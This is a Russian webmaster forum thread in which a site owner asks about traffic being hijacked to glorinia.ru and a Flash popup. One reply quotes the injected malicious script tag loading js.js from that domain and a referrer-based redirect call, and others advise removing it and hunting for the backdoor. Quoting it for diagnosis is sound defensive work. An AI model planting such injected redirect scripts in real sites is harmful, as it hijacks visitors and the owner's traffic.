Вирус?

pro-j
На сайте с 17.12.2011
Offline
15
1479

Здравствуйте. :)

Возникли проблемы на сайте http://b-ko.com ...

просел доход раз в 10, разобраться не получилось... :crazy:

но обнаружил, что увеличилось количество отказов, после чего начал копать глубже :idea: и оказалось, что из 100% поисковых источников осталось 30%, а все остальные из сайте http://glorinia.ru/clo/ Вам не известно что это и как с этим бороться?

Я так понял, что на сайте всплывает окно по поводу флеша. Это вирус?

Помогите пожалуйста :crazy:

Если знания выгоднее продавать чем применять — они бесполезны (c)
SX
На сайте с 15.07.2008
Offline
79
#1

<script type="text/javascript" src='http://glorinia.ru/clo/js.js'></script>

<script>var d=document.location;sp_redirect.sp_redirect(document.referrer,d.hostname,d.hostname+d.pathname+d.search);</script>

по мне - это не ваше... можно удалить...

K5
На сайте с 21.07.2010
Offline
209
#2

Да вирус. Вредоносный скрипт выше, удаляй скрипт, ищи причину и бэкдор...

аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
6666
На сайте с 10.01.2005
Offline
505
#3
pro-j:
Я так понял, что на сайте всплывает окно по поводу флеша.

Касперский малость перебарщивает иногда, как и остальные антивирусы. У меня человек не мог зайти на форум из-за того что в футере была флешка (без всякого вируса), а в ней была ссылка не на новое окно, а _self

ПС: Это только по поводу флеша, не отменяет вирус в коде.

Каждое мое сообщение проверила и одобрила Елена Летучая. (c) Для меня очень важно все что Вы говорите! (http://surrealism.ru/123.mp3) .
install
На сайте с 20.02.2011
Offline
143
#4

Надо искать дыру, так как удаление не поможет.

Этот скрипт через некоторое время снова будет появляться на сайте.

Движок ДЛЕ у Вас?

Лей Бурж Сюда (https://clck.ru/9of9G) VPS/VDS. Бесплатное администрирование 24/7 (http://goo.gl/kmKpNi)

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий